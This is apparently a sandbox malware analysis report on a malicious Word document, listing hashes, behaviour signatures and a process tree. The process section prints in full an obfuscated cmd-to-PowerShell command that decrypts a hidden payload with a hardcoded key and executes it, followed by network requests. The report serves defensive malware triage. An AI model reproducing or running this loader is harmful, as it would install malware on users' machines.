Analysis
-
max time kernel
99s -
max time network
124s -
platform
windows10-2004_x64 -
resource
win10v2004-20240508-en -
resource tags
-
submitted
26/05/2024, 04:52
General
-
Target
6a122e231e0bf2a8ab5702f57b524c04JaffaCakes118.doc
-
Size
143KB
-
MD5
6a122e231e0bf2a8ab5702f57b524c04
-
SHA1
375682485ba8d3e0f526a89ca74445da22fa6c8b
-
SHA256
8338ec1efdc66d060728479ea9d786b9160713f51748f0886ce1fcdb5ed674e4
-
SHA512
54533ac81f84a46295b3d16ce9af2b6caaddb005c1d530bafa20ee26514c37729b57bf79388d82c01840faecf052c8cd29e32f94b3f4659143c615fae1d034c0
-
SSDEEP
3072:R5RjSvyEv5naD/tEGjyAoEMWMUmZN24G2iYwi:R5RjSvyEv5nahElkWUKkB2i
Score
10/10
Malware Config
Signatures
-
Process spawned unexpected child process 1 IoCs
This typically indicates the parent process was compromised via an exploit or macro.
-
Blocklisted process makes network request 4 IoCs
-
Checks processor information in registry 2 TTPs 3 IoCs
Processor information is often read in order to detect sandboxing environments.
-
Enumerates system info in registry 2 TTPs 3 IoCs
-
Suspicious behavior: AddClipboardFormatListener 2 IoCs
-
Suspicious behavior: EnumeratesProcesses 2 IoCs
-
Suspicious use of AdjustPrivilegeToken 1 IoCs
-
Suspicious use of SetWindowsHookEx 8 IoCs
-
Suspicious use of WriteProcessMemory 4 IoCs
Processes
-
C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE"C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\6a122e231e0bf2a8ab5702f57b524c04JaffaCakes118.doc" /o ""1⤵
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" auZUDBl UbSMIQQCXcIrQbXws WsAFuOPwdTAn & %C^om^S^pEc% %C^om^S^pEc% /V /c set %hOUTErzjCPZFNvv%=LsuBiOkZwYFVMa&&set %FBrakmc%=p&&set %hBzBsfM%=ow&&set %IhTCbFOdJimEiPO%=GYaEQMUp&&set %sHwKWNd%=!%FBrakmc%!&&set %jSdvWflbWbGsmKU%=jhiPPijVKoSjv&&set %arzcphwUmMIsr%=er&&set %mhlYSdlspDIt%=!%hBzBsfM%!&&set %iQVEaThdhaOM%=s&&set %IJvMdWIcTGdsKhH%=WVvEkVid&&set %MmBoqOFutNNLYC%=he&&set %nXdkKuShfn%=ll&&!%sHwKWNd%!!%mhlYSdlspDIt%!!%arzcphwUmMIsr%!!%iQVEaThdhaOM%!!%MmBoqOFutNNLYC%!!%nXdkKuShfn%! ".((GV '*mdR*').nAme[3,11,2]-joiN'') ( ( new-obJECT managemENT.aUToMatiOn.psCRedEntial ' ',( '76492d1116743f0423413b16050a5345MgB8ADkARgBHAEUAbwBuADgAVQBLAFQAUABRAFoANgBxAGcASQBuAEkASAA2AFEAPQA9AHwAYQA5ADQANgA5AGQANQBmADQANQA2ADQAMAAxAGEAYQAxAGUAMQAyADkAZgA2ADAAZgAxADUAMgA5ADQAYQAzADgAYQBkAGIAMAA0ADAAMgBkADQAYwAxAGYAOAAyAGMANAAyAGUANgA4ADEANgBhAGMAZAAwAGIAMAA4AGIANQAxADMANQA1AGEAZgBhADIANQA1ADgAOQBjAGYAOABiADgAYgBlADAAZQA5ADYAZABmAGQAOQBiADMAOAA4AGIAZABhAGEAZQA0AGEANwA4AGYAYQA0ADMAYwAzADIAYgAwAGEAOAA5ADkAOAA3ADEAYwAxADcAYQBjADAAYQA4AGEAYgA3AGMAMAAwADEAYwA2AGEANQA1ADMAMQA3ADgAMwBiADIANgA5ADEAOQA5ADQAOQA4AGUAZAAyADIANwBiADgAOAA0ADYAOQBiAGQAYgBjAGQANAAzADUAZQA0AGIAMwAyAGMAZQBlAGQAMwA4ADUAYQBkADUAOAAwADEANAA0AGYAMAAyADcAYwBiAGMAZgA1AGEAMABkADQANwA3AGIAZQA2AGEAYgA4AGEAZQBiAGIAMwBhADQANgBkADQANgBlAGQAOABkADQANgBhAGMAOABiAGEAYgBhADQANAAwADEANABjADgAMQBmADAAMwAxADgANwA3ADIAMQBhADcAZAA0ADkAZQAxADUAZQA0ADQANwBhAGEAMAAwADYAOAA1ADkAMwA2ADcANgA2ADEAZQAxAGQAYgA4ADUANgA0AGUAOQA2AGQAYwBkAGQANgBlADUAZAAyADAAYQA4ADUAZQAzADkAZAA1ADIANAA4AGIAYQAwADEAZgBhADgAMAA1AGEAMwA1ADQAOAAxAGIAOQBiADEAZQBhAGMANAAwAGEAYgA1ADcAZQA3ADUAZgAxADgAMQBjAGYAMgAyAGMAMAAyADQAYwAxAGIAMABhAGMANwAwAGUAYwA2AGEANAA5ADMAZQBjADAAOQA5AGEANwBkADkANgBhADkAYwBkAGMANgA1AGMAMgA3ADkAZQA2AGQAOQA3AGMAMwAzADYAYwBhAGEAZgA1ADkAZAA4ADIANwBiAGIAZQBiAGEAZQA3ADMAYQAxAGEAYwBlAGIAZQAyADgAYgAxAGIAMAAzADQANQA4ADQANgBmAGEAZABiADgAOAA2AGIANAA5AGUAMwBiADkAYQA5ADcAYQAzAGYAMwBlADgAYgBiADEANQBkAGMAMwBjADEAZAAxADAAZABhAGEAMAA3ADgANQBkADYAZAA3AGEAZABhADQAYQA1ADkAMwA3AGYANQBhAGMAMgBkADQAMQBmADUAMgBmADAAZAA4ADkAZAAyADAAZAAzADEAZABiAGQAYQBjADIAYgAzAGMAOQBmADkAYwA1AGEANwBhADEAMQBjADQAMAAxAGIANwBlADcAMQAwADIAMgAyADQANwBjADQAMgA1AGUAZgBmAGYAZQBjADkAOQBhADIAOABiADcAMwAyADUANAA3AGEAYQBhAGQAMQBlADMANwBlAGUAYgBkADUAZABlADIAMwBjAGQAMwBhADUAZABkADAAZQA2AGIAMgA3ADgAZQBhAGQAYgA4ADAAZAAzADAAMgBlADQAYQBjADMANwAxADYAZgA0ADUAZQAxADAAMAAzADgANgBkAGYANAAzAGEAMgAxAGIANQBmADcANgBhAGIANABjADEAMgAzAGMAMgA0ADcAMQA2AGQAMgBmADYAMAA0AGMANAAyAGEAYgA2ADEAMgBkADkAOABhADQAYQBiAGYAYwA4ADMAOABiADAAYQBjADEAMABhADEAMgA5ADAAZQBiADkAYQBmADQAOABmADQAYgA1ADMAZgAwADgAOQBkAGQANQBkAGMAOAA2ADgAYQAwADYAOQBhADEAZAAxAGIAMgAzADMAMQAxAGEAMwAxADAANABkAGQAOQA3ADAAOQAzADMAMgBhADEAZQA2ADQAYgBjADYAMgBlADkAMABiAGYAOQA4AGYAOQA5AGYAOAAzAGIANQA5ADMAZgA0AGIAZgA1ADUAYwAxADMANQAwADkANgBjAGQAYQA1AGIAYwBmADcAMwBhADgAOQBkAGUAOQA2AGYANwA4ADAAZQBiADQANAA2AGYAZAAwADkAZQAyAGMAMABkAGYANwA5AGQAOQAyAGMAZgA4ADIANgBlADEAMgBhADAAZAA4AGEANwBjADUAYgBhADkANwA2ADYAYgBkAGYAMABjAGMANAA1ADgAYQBhAGIAZgBiADcAMQA5AGUANgBlADUAMwA3ADQAOAA4AGQAMgA2ADMANQBmAGIAZQA5ADMANwBlAGEANQBkADgAMwBiAGQAYgBiADkAOABhADcAMAAwADMAZgBhADQAMAAxAGEANwA3AGQAMAA0ADUAZQBlAGEAZABlAGMAZgA2ADkAOABlAGUANwA3ADcANwAyADEAMgA2ADEANgAyADUANQAxAGMANgA3ADIAMgBlAGYAYgAzAGIAYwBkAGUAMgBmADgAMABhADkAZABkADkAMgBmADMAOQA0ADAAYQA4AGMANQBhAGUAMQA5ADgANAAxAGMAOQA2ADUAZgBkADcAMwA1ADUAOQBlAGUAZAA0ADUAZQAwAGEAOQBhADMANgBhAGUAZAA5ADEAMgBhADUANwAzAGMAZgBiAGMANgA4ADcAZAAxAGQAOQA0AGEANwAyADQAZQBlAGIAZgBmADQAOAA4AGUAOQA3ADIANQBkADkANgA0ADQAYwBjADgAMABjAGIAYwBhADYAYwA2AGQAYwAyADcAMgA1ADkAZgBhAGEAZABlADkANgBiAGYANgBkAGEAMQBjAGEAYQA0ADcAOAAxADYAZQBkAGEAMwBhADUAMAAyADUAMwBmAGYANQAwAGYANgBkADUAMwA1AGQAMAAyAGYAOQBmADYANgAwADMANgBiADIAMgA1ADUAOAAzADkAZQA3ADQAOQBlADIAYQAwAGQAYgA5ADQAMgA3ADAAYwAzAGYAYQAzAGYAYgBmADAAMAA1AGUAZAAzAGEANAAzAGIAZABhADQAMgBkADIAOQA1ADQAOAA5ADgANgA1ADEAYwA1AGQAZQA5ADkANwBmADcAZQBjADYAZAAwAGUANQAzADEAYQBjAGQAMgA1AGMAMQAyAGMANAAzADkAMgBjADYAZgBiAGUANAA0ADUAZAAwAGQAYQBmADgAMgA3ADIANAAyADEANgAwADQAMgA2ADEANABjADEAOQA5AGIANQAwADQAZAA2AGMAYQBiAGMAYgAzADUANwA4ADcANAAxADAAOAAwADMANQA1ADQAZABhADMANwBkADUAZABjADEAYgA3ADQANQAyADEAZABkADMAZAAxAGEANQAzAGUANQAzAGEAOAA5ADkAZABiADcAZABiADMANgA5ADcANQBjAGQAMAA0ADkANQAwADcAYgA5ADUAYQBiADgAZQA4ADQAZgA4ADYAZgBhAGUAOABhADcAYwBiADkAMwA0AGYANwAwADEANwA2AGUAZQA0ADcAYQA3ADkAMwAwAGQANgBlADcAYwAzAGIANABiAGUAOAA4ADUAZQBmADIAMgAyAGMAOQAwAGYAZgAxADQAOQBiADkAYgAyAGUANwA3AGQAOQAzADEAYQAwAGQANgBjADgANABmAGUAZgAxAGQAZQBhADQAOABhADUAYQA3ADYAOABhADgAMwAwADIAYQA5ADUAYgA3ADAAMQBmAGEANwA1AGMAOABjAGMAOQBhAGQAYQA2ADUANAA2ADAAZQBlADgAMQBiADkANwBiADQANABjADQAOAA1ADEANgBjAGIAMQAyAGUANQA2AGQAZQA0ADMAZABjADEAYgA3AGQAYgA3AGYAZgBlADkAYQA5AGMAMgAzAGMAZgA3AGMAMwBjAGYANgBjAGYAOQBmADUAMAAzAGIAYwAzADIAOQBkAGUAOQBjADMANQAwADUANQBmADkAYwA1AGEAZQBkAGYANQAzADMAYwA4ADQAMQBmADUAYwA4AGUAMQAyAGEAZQAzADgANgAzADUAZABjADcAYwBiADQANgA0ADgAMQBhADQAYQBjADYAYwA2ADcAZgBiADYAYwBmAGIAOABlADEANwA2AGEAMgAwADcAMwBiAGUANQA3ADQANgBkAGYANQBlAGYAMAA0ADgAZQA2ADEAMQBkADEANQAwAGMANQA2ADUAOABmADYAZQA1ADAANwA5ADMAMAA5ADcANAA4AGQANwA3AGUAMABkADAAOAAzADQAMwBiAGQAMQA1ADUAMgBhADEAMgAyADcAMAAyADcANAA2AGEAYgA4ADUAYgAzADkAMABlAGMANQA3AGMAYwAzADUAZQA5ADEAYQBlAGEANQBhADIAYgBhAGQAZgBlADIAZgAzADQAMQBlADkAMABiADEAZgA0ADkANgAwAGIAOAAwAGMAMQBmAGMAOQBlAGUAYgA3ADMAZABjAGMAOQA1AGUAZgA1AGMAMgAyAGQAOAA5AGIAOQBkADEANAA2ADYANwAwADAANgA0AGUAYQA4AGIAMgAyAGEAZABjADgAOAA3AGEAYQA5AGMAZQBmADkAMwBmAGQAYQBlADUANgA5ADAAYQBiAGMANAA5AGUANAA2ADgAMgA3ADQAMABlADUAMgAwADAANgBlADkAZQA4AGUAMABmADIAYQBkAGMAYgBlADMANQA2ADEANAA5ADcANgBiAGEAYwBhADMAZgBjADIAZQBkADcAZAAwADUANABmADYANQBmAGEAZAA5AGYAMAA0ADEANwA5AGUAYgAwADUAYgA0AGMANABhADEAMgBhADIANwBiAGQAOABjADgAMQBhAGUAZQA1AGYAMABiADcAZQA1ADUANwAxAGEAMQA2ADUAMwA4ADIAYgA1ADAANwA2ADIAYQA4AGMAOAA5AGIAYwBmAGMAMAA3AGMAMQA0ADIANQAxAGEANwAwADIAZQA5ADEAMAA2ADIANABkAGMAMQAzADMANgA3ADgAYQAwADQAOABjADUAOQBiADkANwAxADQAMQAwAGMAYQA0ADUAZAAzADUANwA2ADYAOABkAGYAMgA0ADQAYwBmAGQAMQA3AGYANgA5ADUAOAAxAGIAMwBkADgAZgBhADQAZgAzAGUANQA5ADQAZAAxADQANABiADIANQBlADMANgA1AGMAYgAyADQANABjAGEAOAAyADcANABjADgAOAA2ADIANQBiADMAYwA3ADMAYgA1ADUAMQA0ADQANABiADcAOQBkAGIAMwBhAGIAYQBjAGIAZQBmADAAMQBhADgANQA4ADEAZgBlADIAOAA2AGIAMQAwADgAMAA5ADEANwA0ADgAMgA0ADMANwBiADUAZgAxAGEANgA0ADEANQA3AGEANgAxADYANABlAGEANQA5AA==' | CoNvERTTO-SecUreStrInG -K (132..101) ) ).gEtNetwoRkcrEDentIaL().pASSwORd)2⤵
- Process spawned unexpected child process
- Suspicious use of WriteProcessMemory
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell ".((GV '*mdR*').nAme[3,11,2]-joiN'') ( ( new-obJECT managemENT.aUToMatiOn.psCRedEntial ' ',( '76492d1116743f0423413b16050a5345MgB8ADkARgBHAEUAbwBuADgAVQBLAFQAUABRAFoANgBxAGcASQBuAEkASAA2AFEAPQA9AHwAYQA5ADQANgA5AGQANQBmADQANQA2ADQAMAAxAGEAYQAxAGUAMQAyADkAZgA2ADAAZgAxADUAMgA5ADQAYQAzADgAYQBkAGIAMAA0ADAAMgBkADQAYwAxAGYAOAAyAGMANAAyAGUANgA4ADEANgBhAGMAZAAwAGIAMAA4AGIANQAxADMANQA1AGEAZgBhADIANQA1ADgAOQBjAGYAOABiADgAYgBlADAAZQA5ADYAZABmAGQAOQBiADMAOAA4AGIAZABhAGEAZQA0AGEANwA4AGYAYQA0ADMAYwAzADIAYgAwAGEAOAA5ADkAOAA3ADEAYwAxADcAYQBjADAAYQA4AGEAYgA3AGMAMAAwADEAYwA2AGEANQA1ADMAMQA3ADgAMwBiADIANgA5ADEAOQA5ADQAOQA4AGUAZAAyADIANwBiADgAOAA0ADYAOQBiAGQAYgBjAGQANAAzADUAZQA0AGIAMwAyAGMAZQBlAGQAMwA4ADUAYQBkADUAOAAwADEANAA0AGYAMAAyADcAYwBiAGMAZgA1AGEAMABkADQANwA3AGIAZQA2AGEAYgA4AGEAZQBiAGIAMwBhADQANgBkADQANgBlAGQAOABkADQANgBhAGMAOABiAGEAYgBhADQANAAwADEANABjADgAMQBmADAAMwAxADgANwA3ADIAMQBhADcAZAA0ADkAZQAxADUAZQA0ADQANwBhAGEAMAAwADYAOAA1ADkAMwA2ADcANgA2ADEAZQAxAGQAYgA4ADUANgA0AGUAOQA2AGQAYwBkAGQANgBlADUAZAAyADAAYQA4ADUAZQAzADkAZAA1ADIANAA4AGIAYQAwADEAZgBhADgAMAA1AGEAMwA1ADQAOAAxAGIAOQBiADEAZQBhAGMANAAwAGEAYgA1ADcAZQA3ADUAZgAxADgAMQBjAGYAMgAyAGMAMAAyADQAYwAxAGIAMABhAGMANwAwAGUAYwA2AGEANAA5ADMAZQBjADAAOQA5AGEANwBkADkANgBhADkAYwBkAGMANgA1AGMAMgA3ADkAZQA2AGQAOQA3AGMAMwAzADYAYwBhAGEAZgA1ADkAZAA4ADIANwBiAGIAZQBiAGEAZQA3ADMAYQAxAGEAYwBlAGIAZQAyADgAYgAxAGIAMAAzADQANQA4ADQANgBmAGEAZABiADgAOAA2AGIANAA5AGUAMwBiADkAYQA5ADcAYQAzAGYAMwBlADgAYgBiADEANQBkAGMAMwBjADEAZAAxADAAZABhAGEAMAA3ADgANQBkADYAZAA3AGEAZABhADQAYQA1ADkAMwA3AGYANQBhAGMAMgBkADQAMQBmADUAMgBmADAAZAA4ADkAZAAyADAAZAAzADEAZABiAGQAYQBjADIAYgAzAGMAOQBmADkAYwA1AGEANwBhADEAMQBjADQAMAAxAGIANwBlADcAMQAwADIAMgAyADQANwBjADQAMgA1AGUAZgBmAGYAZQBjADkAOQBhADIAOABiADcAMwAyADUANAA3AGEAYQBhAGQAMQBlADMANwBlAGUAYgBkADUAZABlADIAMwBjAGQAMwBhADUAZABkADAAZQA2AGIAMgA3ADgAZQBhAGQAYgA4ADAAZAAzADAAMgBlADQAYQBjADMANwAxADYAZgA0ADUAZQAxADAAMAAzADgANgBkAGYANAAzAGEAMgAxAGIANQBmADcANgBhAGIANABjADEAMgAzAGMAMgA0ADcAMQA2AGQAMgBmADYAMAA0AGMANAAyAGEAYgA2ADEAMgBkADkAOABhADQAYQBiAGYAYwA4ADMAOABiADAAYQBjADEAMABhADEAMgA5ADAAZQBiADkAYQBmADQAOABmADQAYgA1ADMAZgAwADgAOQBkAGQANQBkAGMAOAA2ADgAYQAwADYAOQBhADEAZAAxAGIAMgAzADMAMQAxAGEAMwAxADAANABkAGQAOQA3ADAAOQAzADMAMgBhADEAZQA2ADQAYgBjADYAMgBlADkAMABiAGYAOQA4AGYAOQA5AGYAOAAzAGIANQA5ADMAZgA0AGIAZgA1ADUAYwAxADMANQAwADkANgBjAGQAYQA1AGIAYwBmADcAMwBhADgAOQBkAGUAOQA2AGYANwA4ADAAZQBiADQANAA2AGYAZAAwADkAZQAyAGMAMABkAGYANwA5AGQAOQAyAGMAZgA4ADIANgBlADEAMgBhADAAZAA4AGEANwBjADUAYgBhADkANwA2ADYAYgBkAGYAMABjAGMANAA1ADgAYQBhAGIAZgBiADcAMQA5AGUANgBlADUAMwA3ADQAOAA4AGQAMgA2ADMANQBmAGIAZQA5ADMANwBlAGEANQBkADgAMwBiAGQAYgBiADkAOABhADcAMAAwADMAZgBhADQAMAAxAGEANwA3AGQAMAA0ADUAZQBlAGEAZABlAGMAZgA2ADkAOABlAGUANwA3ADcANwAyADEAMgA2ADEANgAyADUANQAxAGMANgA3ADIAMgBlAGYAYgAzAGIAYwBkAGUAMgBmADgAMABhADkAZABkADkAMgBmADMAOQA0ADAAYQA4AGMANQBhAGUAMQA5ADgANAAxAGMAOQA2ADUAZgBkADcAMwA1ADUAOQBlAGUAZAA0ADUAZQAwAGEAOQBhADMANgBhAGUAZAA5ADEAMgBhADUANwAzAGMAZgBiAGMANgA4ADcAZAAxAGQAOQA0AGEANwAyADQAZQBlAGIAZgBmADQAOAA4AGUAOQA3ADIANQBkADkANgA0ADQAYwBjADgAMABjAGIAYwBhADYAYwA2AGQAYwAyADcAMgA1ADkAZgBhAGEAZABlADkANgBiAGYANgBkAGEAMQBjAGEAYQA0ADcAOAAxADYAZQBkAGEAMwBhADUAMAAyADUAMwBmAGYANQAwAGYANgBkADUAMwA1AGQAMAAyAGYAOQBmADYANgAwADMANgBiADIAMgA1ADUAOAAzADkAZQA3ADQAOQBlADIAYQAwAGQAYgA5ADQAMgA3ADAAYwAzAGYAYQAzAGYAYgBmADAAMAA1AGUAZAAzAGEANAAzAGIAZABhADQAMgBkADIAOQA1ADQAOAA5ADgANgA1ADEAYwA1AGQAZQA5ADkANwBmADcAZQBjADYAZAAwAGUANQAzADEAYQBjAGQAMgA1AGMAMQAyAGMANAAzADkAMgBjADYAZgBiAGUANAA0ADUAZAAwAGQAYQBmADgAMgA3ADIANAAyADEANgAwADQAMgA2ADEANABjADEAOQA5AGIANQAwADQAZAA2AGMAYQBiAGMAYgAzADUANwA4ADcANAAxADAAOAAwADMANQA1ADQAZABhADMANwBkADUAZABjADEAYgA3ADQANQAyADEAZABkADMAZAAxAGEANQAzAGUANQAzAGEAOAA5ADkAZABiADcAZABiADMANgA5ADcANQBjAGQAMAA0ADkANQAwADcAYgA5ADUAYQBiADgAZQA4ADQAZgA4ADYAZgBhAGUAOABhADcAYwBiADkAMwA0AGYANwAwADEANwA2AGUAZQA0ADcAYQA3ADkAMwAwAGQANgBlADcAYwAzAGIANABiAGUAOAA4ADUAZQBmADIAMgAyAGMAOQAwAGYAZgAxADQAOQBiADkAYgAyAGUANwA3AGQAOQAzADEAYQAwAGQANgBjADgANABmAGUAZgAxAGQAZQBhADQAOABhADUAYQA3ADYAOABhADgAMwAwADIAYQA5ADUAYgA3ADAAMQBmAGEANwA1AGMAOABjAGMAOQBhAGQAYQA2ADUANAA2ADAAZQBlADgAMQBiADkANwBiADQANABjADQAOAA1ADEANgBjAGIAMQAyAGUANQA2AGQAZQA0ADMAZABjADEAYgA3AGQAYgA3AGYAZgBlADkAYQA5AGMAMgAzAGMAZgA3AGMAMwBjAGYANgBjAGYAOQBmADUAMAAzAGIAYwAzADIAOQBkAGUAOQBjADMANQAwADUANQBmADkAYwA1AGEAZQBkAGYANQAzADMAYwA4ADQAMQBmADUAYwA4AGUAMQAyAGEAZQAzADgANgAzADUAZABjADcAYwBiADQANgA0ADgAMQBhADQAYQBjADYAYwA2ADcAZgBiADYAYwBmAGIAOABlADEANwA2AGEAMgAwADcAMwBiAGUANQA3ADQANgBkAGYANQBlAGYAMAA0ADgAZQA2ADEAMQBkADEANQAwAGMANQA2ADUAOABmADYAZQA1ADAANwA5ADMAMAA5ADcANAA4AGQANwA3AGUAMABkADAAOAAzADQAMwBiAGQAMQA1ADUAMgBhADEAMgAyADcAMAAyADcANAA2AGEAYgA4ADUAYgAzADkAMABlAGMANQA3AGMAYwAzADUAZQA5ADEAYQBlAGEANQBhADIAYgBhAGQAZgBlADIAZgAzADQAMQBlADkAMABiADEAZgA0ADkANgAwAGIAOAAwAGMAMQBmAGMAOQBlAGUAYgA3ADMAZABjAGMAOQA1AGUAZgA1AGMAMgAyAGQAOAA5AGIAOQBkADEANAA2ADYANwAwADAANgA0AGUAYQA4AGIAMgAyAGEAZABjADgAOAA3AGEAYQA5AGMAZQBmADkAMwBmAGQAYQBlADUANgA5ADAAYQBiAGMANAA5AGUANAA2ADgAMgA3ADQAMABlADUAMgAwADAANgBlADkAZQA4AGUAMABmADIAYQBkAGMAYgBlADMANQA2ADEANAA5ADcANgBiAGEAYwBhADMAZgBjADIAZQBkADcAZAAwADUANABmADYANQBmAGEAZAA5AGYAMAA0ADEANwA5AGUAYgAwADUAYgA0AGMANABhADEAMgBhADIANwBiAGQAOABjADgAMQBhAGUAZQA1AGYAMABiADcAZQA1ADUANwAxAGEAMQA2ADUAMwA4ADIAYgA1ADAANwA2ADIAYQA4AGMAOAA5AGIAYwBmAGMAMAA3AGMAMQA0ADIANQAxAGEANwAwADIAZQA5ADEAMAA2ADIANABkAGMAMQAzADMANgA3ADgAYQAwADQAOABjADUAOQBiADkANwAxADQAMQAwAGMAYQA0ADUAZAAzADUANwA2ADYAOABkAGYAMgA0ADQAYwBmAGQAMQA3AGYANgA5ADUAOAAxAGIAMwBkADgAZgBhADQAZgAzAGUANQA5ADQAZAAxADQANABiADIANQBlADMANgA1AGMAYgAyADQANABjAGEAOAAyADcANABjADgAOAA2ADIANQBiADMAYwA3ADMAYgA1ADUAMQA0ADQANABiADcAOQBkAGIAMwBhAGIAYQBjAGIAZQBmADAAMQBhADgANQA4ADEAZgBlADIAOAA2AGIAMQAwADgAMAA5ADEANwA0ADgAMgA0ADMANwBiADUAZgAxAGEANgA0ADEANQA3AGEANgAxADYANABlAGEANQA5AA==' | CoNvERTTO-SecUreStrInG -K (132..101) ) ).gEtNetwoRkcrEDentIaL().pASSwORd)3⤵
- Blocklisted process makes network request
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
-
Network
MITRE ATT&CK Enterprise v15
Replay Monitor
Loading Replay Monitor...
Downloads
-
Filesize
263KB
MD5ff0e07eff1333cdf9fc2523d323dd654
SHA177a1ae0dd8dbc3fee65dd6266f31e2a564d088a4
SHA2563f925e0cc1542f09de1f99060899eafb0042bb9682507c907173c392115a44b5
SHA512b4615f995fab87661c2dbe46625aa982215d7bde27cafae221dca76087fe76da4b4a381943436fcac1577cb3d260d0050b32b7b93e3eb07912494429f126bb3d
-
Filesize
60B
MD5d17fe0a3f47be24a6453e9ef58c94641
SHA16ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA25696ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
SHA5125b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
-
Filesize
136KB
-
Filesize
2.0MB
-
Filesize
2.0MB
-
Filesize
4KB
-
Filesize
2.0MB
-
Filesize
2.0MB
-
Filesize
2.0MB
-
Filesize
2.0MB
-
Filesize
64KB
-
Filesize
2.0MB
-
Filesize
2.0MB
-
Filesize
2.0MB
-
Filesize
2.0MB
-
Filesize
2.0MB
-
Filesize
64KB
-
Filesize
2.0MB
-
Filesize
2.0MB
-
Filesize
2.0MB
-
Filesize
2.0MB
-
Filesize
64KB
-
Filesize
2.0MB
-
Filesize
64KB
-
Filesize
2.0MB
-
Filesize
2.0MB
-
Filesize
2.0MB
-
Filesize
64KB
-
Filesize
64KB
-
Filesize
2.0MB
-
Filesize
64KB
-
Filesize
2.0MB
-
Filesize
2.0MB
-
Filesize
2.0MB
-
Filesize
2.0MB
-
Filesize
2.0MB
-
Filesize
64KB
-
Filesize
64KB
-
Filesize
64KB
-
Filesize
64KB
-
Filesize
2.0MB